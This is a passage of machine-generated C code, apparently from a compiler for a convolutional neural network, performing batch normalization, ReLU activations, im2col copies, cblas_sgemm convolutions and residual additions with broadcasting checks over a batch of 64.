sqrt(x22935);\nfloat x22937 = (float)x22936;\nx22932[x22933] = x22937;\n\n}\nint32_t x22941 = 0;\nint32_t x22942 = 1;\nx22942 *= 1;\nx22941 += 1;\nx22942 *= 1;\nx22942 *= 1;\nint32_t x22947 = x22941;\nbool x22948 = x22947 >= 2;\nif (x22948) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x22953 = x22947 == 0;\nif (x22953) {\nint32_t x22954 = x22942;\nbool x22955 = x22954 == 512;\nif (x22955) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x22962 = x22942;\nbool x22964 = x22878 == 1;\nint32_t x22963 = 512 / x22962;\nbool x22965 = x22963 == 1;\nbool x22969;\nif (x454) {\nbool x22966 = x22964 || x22965;\nbool x22967 = x22878 == x22963;\nbool x22968 = x22966 || x22967;\nx22969 = x22968;\n} else {\nx22969 = false;\n}\nbool x22973;\nif (x22969) {\nx22973 = x22972;\n} else {\nx22973 = false;\n}\nbool x22974;\nif (x22973) {\nx22974 = x22972;\n} else {\nx22974 = false;\n}\nif (x22974) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x22878,x22880,x22880,1,x22963,1,1);\nassert(false && \"\");\n}\nbool x22980 = x22878 <= x22963;\nint32_t x22981;\nif (x22980) {\nx22981 = x22963;\n} else {\nx22981 = x22878;\n}\nint32_t x22990 = x22981 * x22989;\nint32_t x22991 = 64 * x22990;\nfloat* x22992 = (float*)myMalloc(x22991 * sizeof(float));;\nint32_t x22993;\nif (x22964) {\nx22993 = 0;\n} else {\nx22993 = x22886;\n}\nint32_t x22996;\nif (x22965) {\nx22996 = 0;\n} else {\nx22996 = 1;\n}\nfor(int x22997=0; x22997 < 64; x22997++) {\nint32_t x23009 = x22887 * x22997;\nint32_t x23003 = x22990 * x22997;\nfor(int x22999=0; x22999 < x22981; x22999++) {\nint32_t x23010 = x22993 * x22999;\nint32_t x23011 = x23009 + x23010;\nint32_t x23016 = x22996 * x22999;\nint32_t x23005 = x22989 * x22999;\nfor(int x23001=0; x23001 < x22983; x23001++) {\nint32_t x23012 = x22994 * x23001;\nint32_t x23013 = x23011 + x23012;\nint32_t x23007 = x22983 * x23001;\nfor(int x23002=0; x23002 < x22983; x23002++) {\nint32_t x23014 = x22995 * x23002;\nint32_t x23015 = x23013 + x23014;\nfloat x23017 = x22889[x23015];\nfloat x23018 = x22932[x23016];\nint32_t x23004 = x23002 + x23003;\nint32_t x23006 = x23004 + x23005;\nint32_t x23008 = x23006 + x23007;\nfloat x23019 = x23017 / x23018;\nx22992[x23008] = x23019;\n\n}\n\n}\n\n}\n\n}\nint32_t x23029 = 0;\nint32_t x23030 = 1;\nx23030 *= 1;\nx23029 += 1;\nx23030 *= 1;\nx23030 *= 1;\nint32_t x23035 = x23029;\nbool x23036 = x23035 >= 2;\nif (x23036) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x23041 = x23035 == 0;\nif (x23041) {\nint32_t x23042 = x23030;\nbool x23043 = x23042 == 512;\nif (x23043) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x23050 = x23030;\nbool x23052 = x22981 == 1;\nint32_t x23051 = 512 / x23050;\nbool x23053 = x23051 == 1;\nbool x23057;\nif (x454) {\nbool x23054 = x23052 || x23053;\nbool x23055 = x22981 == x23051;\nbool x23056 = x23054 || x23055;\nx23057 = x23056;\n} else {\nx23057 = false;\n}\nbool x23061;\nif (x23057) {\nx23061 = x23060;\n} else {\nx23061 = false;\n}\nbool x23062;\nif (x23061) {\nx23062 = x23060;\n} else {\nx23062 = false;\n}\nif (x23062) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x22981,x22983,x22983,1,x23051,1,1);\nassert(false && \"\");\n}\nbool x23068 = x22981 <= x23051;\nint32_t x23069;\nif (x23068) {\nx23069 = x23051;\n} else {\nx23069 = x22981;\n}\nint32_t x23078 = x23069 * x23077;\nint32_t x23079 = 64 * x23078;\nfloat* x23080 = (float*)myMalloc(x23079 * sizeof(float));;\nint32_t x23081;\nif (x23052) {\nx23081 = 0;\n} else {\nx23081 = x22989;\n}\nint32_t x23084;\nif (x23053) {\nx23084 = 0;\n} else {\nx23084 = 1;\n}\nfor(int x23085=0; x23085 < 64; x23085++) {\nint32_t x23097 = x22990 * x23085;\nint32_t x23091 = x23078 * x23085;\nfor(int x23087=0; x23087 < x23069; x23087++) {\nint32_t x23098 = x23081 * x23087;\nint32_t x23099 = x23097 + x23098;\nint32_t x23104 = x23084 * x23087;\nint32_t x23093 = x23077 * x23087;\nfor(int x23089=0; x23089 < x23071; x23089++) {\nint32_t x23100 = x23082 * x23089;\nint32_t x23101 = x23099 + x23100;\nint32_t x23095 = x23071 * x23089;\nfor(int x23090=0; x23090 < x23071; x23090++) {\nint32_t x23102 = x23083 * x23090;\nint32_t x23103 = x23101 + x23102;\nfloat x23105 = x22992[x23103];\nfloat x23106 = x160[x23104];\nint32_t x23092 = x23090 + x23091;\nint32_t x23094 = x23092 + x23093;\nint32_t x23096 = x23094 + x23095;\nfloat x23107 = x23105 * x23106;\nx23080[x23096] = x23107;\n\n}\n\n}\n\n}\n\n}\nint32_t x23117 = 0;\nint32_t x23118 = 1;\nx23118 *= 1;\nx23117 += 1;\nx23118 *= 1;\nx23118 *= 1;\nint32_t x23123 = x23117;\nbool x23124 = x23123 >= 2;\nif (x23124) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x23129 = x23123 == 0;\nif (x23129) {\nint32_t x23130 = x23118;\nbool x23131 = x23130 == 512;\nif (x23131) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x23138 = x23118;\nbool x23140 = x23069 == 1;\nint32_t x23139 = 512 / x23138;\nbool x23141 = x23139 == 1;\nbool x23145;\nif (x454) {\nbool x23142 = x23140 || x23141;\nbool x23143 = x23069 == x23139;\nbool x23144 = x23142 || x23143;\nx23145 = x23144;\n} else {\nx23145 = false;\n}\nbool x23149;\nif (x23145) {\nx23149 = x23148;\n} else {\nx23149 = false;\n}\nbool x23150;\nif (x23149) {\nx23150 = x23148;\n} else {\nx23150 = false;\n}\nif (x23150) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x23069,x23071,x23071,1,x23139,1,1);\nassert(false && \"\");\n}\nbool x23156 = x23069 <= x23139;\nint32_t x23157;\nif (x23156) {\nx23157 = x23139;\n} else {\nx23157 = x23069;\n}\nint32_t x23166 = x23157 * x23165;\nint32_t x23167 = 64 * x23166;\nfloat* x23168 = (float*)myMalloc(x23167 * sizeof(float));;\nint32_t x23169;\nif (x23140) {\nx23169 = 0;\n} else {\nx23169 = x23077;\n}\nint32_t x23172;\nif (x23141) {\nx23172 = 0;\n} else {\nx23172 = 1;\n}\nfor(int x23173=0; x23173 < 64; x23173++) {\nint32_t x23185 = x23078 * x23173;\nint32_t x23179 = x23166 * x23173;\nfor(int x23175=0; x23175 < x23157; x23175++) {\nint32_t x23186 = x23169 * x23175;\nint32_t x23187 = x23185 + x23186;\nint32_t x23192 = x23172 * x23175;\nint32_t x23181 = x23165 * x23175;\nfor(int x23177=0; x23177 < x23159; x23177++) {\nint32_t x23188 = x23170 * x23177;\nint32_t x23189 = x23187 + x23188;\nint32_t x23183 = x23159 * x23177;\nfor(int x23178=0; x23178 < x23159; x23178++) {\nint32_t x23190 = x23171 * x23178;\nint32_t x23191 = x23189 + x23190;\nfloat x23193 = x23080[x23191];\nfloat x23194 = x66[x23192];\nint32_t x23180 = x23178 + x23179;\nint32_t x23182 = x23180 + x23181;\nint32_t x23184 = x23182 + x23183;\nfloat x23195 = x23193 + x23194;\nx23168[x23184] = x23195;\n\n}\n\n}\n\n}\n\n}\nfloat* x23205 = (float*)myMalloc(x23167 * sizeof(float));;\nfor(int x23207=0; x23207 < x23167; x23207++) {\nfloat x23208 = x23168[x23207];\nbool x23209 = x23208 < 0.0f;\nif (x23209) {\nx23205[x23207] = 0.0f;\n} else {\nfloat x23212 = x23168[x23207];\nx23205[x23207] = x23212;\n}\n\n}\nfloat* x23226 = (float*)myMalloc(x23225 * sizeof(float));;\nint32_t x23229 = 64 * x23157;\nint32_t x23230 = x23229 * x23221;\nfloat* x23231 = (float*)myMalloc(x23230 * sizeof(float));;\nint32_t x23227 = x23157 * x23221;\nfor(int x23232=0; x23232 < 64; x23232++) {\nint32_t x23233 = x23232 * x23166;\nfloat* x23234 = x23205+x23233;\nint32_t x23235 = x23232 * x23222;\nfloat* x23236 = x23226+x23235;\nint32_t x23237 = x23232 * x23227;\nfloat* x23238 = x23231+x23237;\nfor(int x23239=0; x23239 < x23157; x23239++) {\nint32_t x23240 = x23239 / 1;\nint32_t x23244 = x23240 * x23220;\nint32_t x23245 = x23244 * x23220;\nint32_t x23241 = x23239 % 1;\nint32_t x23242 = x23241 / 1;\nint32_t x23246 = x23242 * x23220;\nint32_t x23247 = x23246 * x23220;\nint32_t x23248 = x23245 + x23247;\nint32_t x23243 = x23241 % 1;\nint32_t x23249 = x23243 * x23220;\nint32_t x23250 = x23249 * x23220;\nint32_t x23251 = x23248 + x23250;\nfloat* x23252 = x23238+x23251;\nint32_t x23253 = x23240 * x23159;\nint32_t x23254 = x23253 * x23159;\nfloat* x23255 = x23234+x23254;\nfor(int x23257=0; x23257 < x23220; x23257++) {\nint32_t x23259 = x23257 * x23220;\nfloat* x23260 = x23252+x23259;\nint32_t x23258 = x23257 + x23242;\nint32_t x23261 = x23258 * x23159;\nint32_t x23262 = x23261 + x23243;\nfloat* x23263 = x23255+x23262;\nmemcpy(x23260, x23263, 4 * x23220);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 2048,x23221,x23157,1,x47,x23157,x23238,x23221,1,x23236,x23221);\n\n}\nint32_t x23272 = 0;\nint32_t x23273 = 1;\nx23273 *= 1;\nx23272 += 1;\nx23273 *= 1;\nx23273 *= 1;\nint32_t x23278 = x23272;\nbool x23279 = x23278 >= 2;\nif (x23279) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x23284 = x23278 == 0;\nif (x23284) {\nint32_t x23285 = x23273;\nbool x23286 = x23285 == 2048;\nif (x23286) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x23293 = x23273;\nint32_t x23294 = 2048 / x23293;\nbool x23295 = x23294 == 1;\nbool x23298;\nif (x454) {\nbool x23296 = 2048 == x23294;\nbool x23297 = x23295 || x23296;\nx23298 = x23297;\n} else {\nx23298 = false;\n}\nbool x23302;\nif (x23298) {\nx23302 = x23301;\n} else {\nx23302 = false;\n}\nbool x23303;\nif (x23302) {\nx23303 = x23301;\n} else {\nx23303 = false;\n}\nif (x23303) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,2048,x23220,x23220,1,x23294,1,1);\nassert(false && \"\");\n}\nbool x23309 = 2048 <= x23294;\nint32_t x23310;\nif (x23309) {\nx23310 = x23294;\n} else {\nx23310 = 2048;\n}\nint32_t x23319 = x23310 * x23318;\nint32_t x23320 = 64 * x23319;\nfloat* x23321 = (float*)myMalloc(x23320 * sizeof(float));;\nint32_t x23324;\nif (x23295) {\nx23324 = 0;\n} else {\nx23324 = 1;\n}\nfor(int x23325=0; x23325 < 64; x23325++) {\nint32_t x23337 = x23222 * x23325;\nint32_t x23331 = x23319 * x23325;\nfor(int x23327=0; x23327 < x23310; x23327++) {\nint32_t x23338 = x23221 * x23327;\nint32_t x23339 = x23337 + x23338;\nint32_t x23344 = x23324 * x23327;\nint32_t x23333 = x23318 * x23327;\nfor(int x23329=0; x23329 < x23312; x23329++) {\nint32_t x23340 = x23322 * x23329;\nint32_t x23341 = x23339 + x23340;\nint32_t x23335 = x23312 * x23329;\nfor(int x23330=0; x23330 < x23312; x23330++) {\nint32_t x23342 = x23323 * x23330;\nint32_t x23343 = x23341 + x23342;\nfloat x23345 = x23226[x23343];\nfloat x23346 = x68[x23344];\nint32_t x23332 = x23330 + x23331;\nint32_t x23334 = x23332 + x23333;\nint32_t x23336 = x23334 + x23335;\nfloat x23347 = x23345 - x23346;\nx23321[x23336] = x23347;\n\n}\n\n}\n\n}\n\n}\nfloat* x23357 = (float*)myMalloc(2048 * sizeof(float));;\nfor(int x23358=0; x23358 < 2048; x23358++) {\nfloat x23359 = x245[x23358];\nfloat x23360 = x23359 + 1.0E-5f;\nx23357[x23358] = x23360;\n\n}\nfloat* x23364 = (float*)myMalloc(2048 * sizeof(float));;\nfor(int x23365=0; x23365 < 2048; x23365++) {\nfloat x23366 = x23357[x23365];\ndouble x23367 = (double)x23366;\ndouble x23368 = sqrt(x23367);\nfloat x23369 = (float)x23368;\nx23364[x23365] = x23369;\n\n}\nint32_t x23373 = 0;\nint32_t x23374 = 1;\nx23374 *= 1;\nx23373 += 1;\nx23374 *= 1;\nx23374 *= 1;\nint32_t x23379 = x23373;\nbool x23380 = x23379 >= 2;\nif (x23380) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x23385 = x23379 == 0;\nif (x23385) {\nint32_t x23386 = x23374;\nbool x23387 = x23386 == 2048;\nif (x23387) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x23394 = x23374;\nbool x23396 = x23310 == 1;\nint32_t x23395 = 2048 / x23394;\nbool x23397 = x23395 == 1;\nbool x23401;\nif (x454) {\nbool x23398 = x23396 || x23397;\nbool x23399 = x23310 == x23395;\nbool x23400 = x23398 || x23399;\nx23401 = x23400;\n} else {\nx23401 = false;\n}\nbool x23405;\nif (x23401) {\nx23405 = x23404;\n} else {\nx23405 = false;\n}\nbool x23406;\nif (x23405) {\nx23406 = x23404;\n} else {\nx23406 = false;\n}\nif (x23406) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x23310,x23312,x23312,1,x23395,1,1);\nassert(false && \"\");\n}\nbool x23412 = x23310 <= x23395;\nint32_t x23413;\nif (x23412) {\nx23413 = x23395;\n} else {\nx23413 = x23310;\n}\nint32_t x23422 = x23413 * x23421;\nint32_t x23423 = 64 * x23422;\nfloat* x23424 = (float*)myMalloc(x23423 * sizeof(float));;\nint32_t x23425;\nif (x23396) {\nx23425 = 0;\n} else {\nx23425 = x23318;\n}\nint32_t x23428;\nif (x23397) {\nx23428 = 0;\n} else {\nx23428 = 1;\n}\nfor(int x23429=0; x23429 < 64; x23429++) {\nint32_t x23441 = x23319 * x23429;\nint32_t x23435 = x23422 * x23429;\nfor(int x23431=0; x23431 < x23413; x23431++) {\nint32_t x23442 = x23425 * x23431;\nint32_t x23443 = x23441 + x23442;\nint32_t x23448 = x23428 * x23431;\nint32_t x23437 = x23421 * x23431;\nfor(int x23433=0; x23433 < x23415; x23433++) {\nint32_t x23444 = x23426 * x23433;\nint32_t x23445 = x23443 + x23444;\nint32_t x23439 = x23415 * x23433;\nfor(int x23434=0; x23434 < x23415; x23434++) {\nint32_t x23446 = x23427 * x23434;\nint32_t x23447 = x23445 + x23446;\nfloat x23449 = x23321[x23447];\nfloat x23450 = x23364[x23448];\nint32_t x23436 = x23434 + x23435;\nint32_t x23438 = x23436 + x23437;\nint32_t x23440 = x23438 + x23439;\nfloat x23451 = x23449 / x23450;\nx23424[x23440] = x23451;\n\n}\n\n}\n\n}\n\n}\nint32_t x23461 = 0;\nint32_t x23462 = 1;\nx23462 *= 1;\nx23461 += 1;\nx23462 *= 1;\nx23462 *= 1;\nint32_t x23467 = x23461;\nbool x23468 = x23467 >= 2;\nif (x23468) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x23473 = x23467 == 0;\nif (x23473) {\nint32_t x23474 = x23462;\nbool x23475 = x23474 == 2048;\nif (x23475) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x23482 = x23462;\nbool x23484 = x23413 == 1;\nint32_t x23483 = 2048 / x23482;\nbool x23485 = x23483 == 1;\nbool x23489;\nif (x454) {\nbool x23486 = x23484 || x23485;\nbool x23487 = x23413 == x23483;\nbool x23488 = x23486 || x23487;\nx23489 = x23488;\n} else {\nx23489 = false;\n}\nbool x23493;\nif (x23489) {\nx23493 = x23492;\n} else {\nx23493 = false;\n}\nbool x23494;\nif (x23493) {\nx23494 = x23492;\n} else {\nx23494 = false;\n}\nif (x23494) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x23413,x23415,x23415,1,x23483,1,1);\nassert(false && \"\");\n}\nbool x23500 = x23413 <= x23483;\nint32_t x23501;\nif (x23500) {\nx23501 = x23483;\n} else {\nx23501 = x23413;\n}\nint32_t x23510 = x23501 * x23509;\nint32_t x23511 = 64 * x23510;\nfloat* x23512 = (float*)myMalloc(x23511 * sizeof(float));;\nint32_t x23513;\nif (x23484) {\nx23513 = 0;\n} else {\nx23513 = x23421;\n}\nint32_t x23516;\nif (x23485) {\nx23516 = 0;\n} else {\nx23516 = 1;\n}\nfor(int x23517=0; x23517 < 64; x23517++) {\nint32_t x23529 = x23422 * x23517;\nint32_t x23523 = x23510 * x23517;\nfor(int x23519=0; x23519 < x23501; x23519++) {\nint32_t x23530 = x23513 * x23519;\nint32_t x23531 = x23529 + x23530;\nint32_t x23536 = x23516 * x23519;\nint32_t x23525 = x23509 * x23519;\nfor(int x23521=0; x23521 < x23503; x23521++) {\nint32_t x23532 = x23514 * x23521;\nint32_t x23533 = x23531 + x23532;\nint32_t x23527 = x23503 * x23521;\nfor(int x23522=0; x23522 < x23503; x23522++) {\nint32_t x23534 = x23515 * x23522;\nint32_t x23535 = x23533 + x23534;\nfloat x23537 = x23424[x23535];\nfloat x23538 = x94[x23536];\nint32_t x23524 = x23522 + x23523;\nint32_t x23526 = x23524 + x23525;\nint32_t x23528 = x23526 + x23527;\nfloat x23539 = x23537 * x23538;\nx23512[x23528] = x23539;\n\n}\n\n}\n\n}\n\n}\nint32_t x23549 = 0;\nint32_t x23550 = 1;\nx23550 *= 1;\nx23549 += 1;\nx23550 *= 1;\nx23550 *= 1;\nint32_t x23555 = x23549;\nbool x23556 = x23555 >= 2;\nif (x23556) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x23561 = x23555 == 0;\nif (x23561) {\nint32_t x23562 = x23550;\nbool x23563 = x23562 == 2048;\nif (x23563) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x23570 = x23550;\nbool x23572 = x23501 == 1;\nint32_t x23571 = 2048 / x23570;\nbool x23573 = x23571 == 1;\nbool x23577;\nif (x454) {\nbool x23574 = x23572 || x23573;\nbool x23575 = x23501 == x23571;\nbool x23576 = x23574 || x23575;\nx23577 = x23576;\n} else {\nx23577 = false;\n}\nbool x23581;\nif (x23577) {\nx23581 = x23580;\n} else {\nx23581 = false;\n}\nbool x23582;\nif (x23581) {\nx23582 = x23580;\n} else {\nx23582 = false;\n}\nif (x23582) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x23501,x23503,x23503,1,x23571,1,1);\nassert(false && \"\");\n}\nbool x23588 = x23501 <= x23571;\nint32_t x23589;\nif (x23588) {\nx23589 = x23571;\n} else {\nx23589 = x23501;\n}\nint32_t x23598 = x23589 * x23597;\nint32_t x23599 = 64 * x23598;\nfloat* x23600 = (float*)myMalloc(x23599 * sizeof(float));;\nint32_t x23601;\nif (x23572) {\nx23601 = 0;\n} else {\nx23601 = x23509;\n}\nint32_t x23604;\nif (x23573) {\nx23604 = 0;\n} else {\nx23604 = 1;\n}\nfor(int x23605=0; x23605 < 64; x23605++) {\nint32_t x23617 = x23510 * x23605;\nint32_t x23611 = x23598 * x23605;\nfor(int x23607=0; x23607 < x23589; x23607++) {\nint32_t x23618 = x23601 * x23607;\nint32_t x23619 = x23617 + x23618;\nint32_t x23624 = x23604 * x23607;\nint32_t x23613 = x23597 * x23607;\nfor(int x23609=0; x23609 < x23591; x23609++) {\nint32_t x23620 = x23602 * x23609;\nint32_t x23621 = x23619 + x23620;\nint32_t x23615 = x23591 * x23609;\nfor(int x23610=0; x23610 < x23591; x23610++) {\nint32_t x23622 = x23603 * x23610;\nint32_t x23623 = x23621 + x23622;\nfloat x23625 = x23512[x23623];\nfloat x23626 = x144[x23624];\nint32_t x23612 = x23610 + x23611;\nint32_t x23614 = x23612 + x23613;\nint32_t x23616 = x23614 + x23615;\nfloat x23627 = x23625 + x23626;\nx23600[x23616] = x23627;\n\n}\n\n}\n\n}\n\n}\nbool x23637 = x23589 == 1;\nbool x23638 = x23637 || x22220;\nbool x23639 = x23589 == x21748;\nbool x23640 = x23638 || x23639;\nbool x23645;\nif (x23640) {\nx23645 = x23644;\n} else {\nx23645 = false;\n}\nbool x23646;\nif (x23645) {\nx23646 = x23644;\n} else {\nx23646 = false;\n}\nif (x23646) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x23589,x23591,x23591,64,x21748,x21750,x21750);\nassert(false && \"\");\n}\nbool x23652 = x23589 <= x21748;\nint32_t x23653;\nif (x23652) {\nx23653 = x21748;\n} else {\nx23653 = x23589;\n}\nint32_t x23669;\nif (x23637) {\nx23669 = 0;\n} else {\nx23669 = x23597;\n}\nfor(int x23672=0; x23672 < 64; x23672++) {\nint32_t x23678 = x23598 * x23672;\nint32_t x23685 = x21757 * x23672;\nfor(int x23674=0; x23674 < x23653; x23674++) {\nint32_t x23679 = x23669 * x23674;\nint32_t x23680 = x23678 + x23679;\nint32_t x23686 = x22254 * x23674;\nint32_t x23687 = x23685 + x23686;\nfor(int x23676=0; x23676 < x23655; x23676++) {\nint32_t x23681 = x23670 * x23676;\nint32_t x23682 = x23680 + x23681;\nint32_t x23688 = x22255 * x23676;\nint32_t x23689 = x23687 + x23688;\nfor(int x23677=0; x23677 < x23655; x23677++) {\nint32_t x23683 = x23671 * x23677;\nint32_t x23684 = x23682 + x23683;\nfloat x23692 = x23600[x23684];\nint32_t x23690 = x22256 * x23677;\nint32_t x23691 = x23689 + x23690;\nfloat x23693 = x22292[x23691];\nfloat x23694 = x23692 + x23693;\nx23600[x23684] = x23694;\n\n}\n\n}\n\n}\n\n}\nfloat* x23704 = (float*)myMalloc(x23599 * sizeof(float));;\nfor(int x23706=0; x23706 < x23599; x23706++) {\nfloat x23707 = x23600[x23706];\nbool x23708 = x23707 < 0.0f;\nif (x23708) {\nx23704[x23706] = 0.0f;\n} else {\nfloat x23711 = x23600[x23706];\nx23704[x23706] = x23711;\n}\n\n}\nfloat* x23725 = (float*)myMalloc(x23724 * sizeof(float));;\nint32_t x23728 = 64 * x23589;\nint32_t x23729 = x23728 * x23720;\nfloat* x23730 = (float*)myMalloc(x23729 * sizeof(float));;\nint32_t x23726 = x23589 * x23720;\nfor(int x23731=0; x23731 < 64; x23731++) {\nint32_t x23732 = x23731 * x23598;\nfloat* x23733 = x23704+x23732;\nint32_t x23734 = x23731 * x23721;\nfloat* x23735 = x23725+x23734;\nint32_t x23736 = x23731 * x23726;\nfloat* x23737 = x23730+x23736;\nfor(int x23738=0; x23738 < x23589; x23738++) {\nint32_t x23739 = x23738 / 1;\nint32_t x23743 = x23739 * x23719;\nint32_t x23744 = x23743 * x23719;\nint32_t x23740 = x23738 % 1;\nint32_t x23741 = x23740 / 1;\nint32_t x23745 = x23741 * x23719;\nint32_t x23746 = x23745 * x23719;\nint32_t x23747 = x23744 + x23746;\nint32_t x23742 = x23740 % 1;\nint32_t x23748 = x23742 * x23719;\nint32_t x23749 = x23748 * x23719;\nint32_t x23750 = x23747 + x23749;\nfloat* x23751 = x23737+x23750;\nint32_t x23752 = x23739 * x23591;\nint32_t x23753 = x23752 * x23591;\nfloat* x23754 = x23733+x23753;\nfor(int x23756=0; x23756 < x23719; x23756++) {\nint32_t x23758 = x23756 * x23719;\nfloat* x23759 = x23751+x23758;\nint32_t x23757 = x23756 + x23741;\nint32_t x23760 = x23757 * x23591;\nint32_t x23761 = x23760 + x23742;\nfloat* x23762 = x23754+x23761;\nmemcpy(x23759, x23762, 4 * x23719);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 512,x23720,x23589,1,x265,x23589,x23737,x23720,1,x23735,x23720);\n\n}\nint32_t x23771 = 0;\nint32_t x23772 = 1;\nx23772 *= 1;\nx23771 += 1;\nx23772 *= 1;\nx23772 *= 1;\nint32_t x23777 = x23771;\nbool x23778 = x23777 >= 2;\nif (x23778) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x23783 = x23777 == 0;\nif (x23783) {\nint32_t x23784 = x23772;\nbool x23785 = x23784 == 512;\nif (x23785) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x23792 = x23772;\nint32_t x23793 = 512 / x23792;\nbool x23794 = x23793 == 1;\nbool x23797;\nif (x454) {\nbool x23795 = 512 == x23793;\nbool x23796 = x23794 || x23795;\nx23797 = x23796;\n} else {\nx23797 = false;\n}\nbool x23801;\nif (x23797) {\nx23801 = x23800;\n} else {\nx23801 = false;\n}\nbool x23802;\nif (x23801) {\nx23802 = x23800;\n} else {\nx23802 = false;\n}\nif (x23802) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,512,x23719,x23719,1,x23793,1,1);\nassert(false && \"\");\n}\nbool x23808 = 512 <= x23793;\nint32_t x23809;\nif (x23808) {\nx23809 = x23793;\n} else {\nx23809 = 512;\n}\nint32_t x23818 = x23809 * x23817;\nint32_t x23819 = 64 * x23818;\nfloat* x23820 = (float*)myMalloc(x23819 * sizeof(float));;\nint32_t x23823;\nif (x23794) {\nx23823 = 0;\n} else {\nx23823 = 1;\n}\nfor(int x23824=0; x23824 < 64; x23824++) {\nint32_t x23836 = x23721 * x23824;\nint32_t x23830 = x23818 * x23824;\nfor(int x23826=0; x23826 < x23809; x23826++) {\nint32_t x23837 = x23720 * x23826;\nint32_t x23838 = x23836 + x23837;\nint32_t x23843 = x23823 * x23826;\nint32_t x23832 = x23817 * x23826;\nfor(int x23828=0; x23828 < x23811; x23828++) {\nint32_t x23839 = x23821 * x23828;\nint32_t x23840 = x23838 + x23839;\nint32_t x23834 = x23811 * x23828;\nfor(int x23829=0; x23829 < x23811; x23829++) {\nint32_t x23841 = x23822 * x23829;\nint32_t x23842 = x23840 + x23841;\nfloat x23844 = x23725[x23842];\nfloat x23845 = x213[x23843];\nint32_t x23831 = x23829 + x23830;\nint32_t x23833 = x23831 + x23832;\nint32_t x23835 = x23833 + x23834;\nfloat x23846 = x23844 - x23845;\nx23820[x23835] = x23846;\n\n}\n\n}\n\n}\n\n}\nfloat* x23856 = (float*)myMalloc(512 * sizeof(float));;\nfor(int x23857=0; x23857 < 512; x23857++) {\nfloat x23858 = x255[x23857];\nfloat x23859 = x23858 + 1.0E-5f;\nx23856[x23857] = x23859;\n\n}\nfloat* x23863 = (float*)myMalloc(512 * sizeof(float));;\nfor(int x23864=0; x23864 < 512; x23864++) {\nfloat x23865 = x23856[x23864];\ndouble x23866 = (double)x23865;\ndouble x23867 = sqrt(x23866);\nfloat x23868 = (float)x23867;\nx23863[x23864] = x23868;\n\n}\nint32_t x23872 = 0;\nint32_t x23873 = 1;\nx23873 *= 1;\nx23872 += 1;\nx23873 *= 1;\nx23873 *= 1;\nint32_t x23878 = x23872;\nbool x23879 = x23878 >= 2;\nif (x23879) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x23884 = x23878 == 0;\nif (x23884) {\nint32_t x23885 = x23873;\nbool x23886 = x23885 == 512;\nif (x23886) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x23893 = x23873;\nbool x23895 = x23809 == 1;\nint32_t x23894 = 512 / x23893;\nbool x23896 = x23894 == 1;\nbool x23900;\nif (x454) {\nbool x23897 = x23895 || x23896;\nbool x23898 = x23809 == x23894;\nbool x23899 = x23897 || x23898;\nx23900 = x23899;\n} else {\nx23900 = false;\n}\nbool x23904;\nif (x23900) {\nx23904 = x23903;\n} else {\nx23904 = false;\n}\nbool x23905;\nif (x23904) {\nx23905 = x23903;\n} else {\nx23905 = false;\n}\nif (x23905) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x23809,x23811,x23811,1,x23894,1,1);\nassert(false && \"\");\n}\nbool x23911 = x23809 <= x23894;\nint32_t x23912;\nif (x23911) {\nx23912 = x23894;\n} else {\nx23912 = x23809;\n}\nint32_t x23921 = x23912 * x23920;\nint32_t x23922 = 64 * x23921;\nfloat* x23923 = (float*)myMalloc(x23922 * sizeof(float));;\nint32_t x23924;\nif (x23895) {\nx23924 = 0;\n} else {\nx23924 = x23817;\n}\nint32_t x23927;\nif (x23896) {\nx23927 = 0;\n} else {\nx23927 = 1;\n}\nfor(int x23928=0; x23928 < 64; x23928++) {\nint32_t x23940 = x23818 * x23928;\nint32_t x23934 = x23921 * x23928;\nfor(int x23930=0; x23930 < x23912; x23930++) {\nint32_t x23941 = 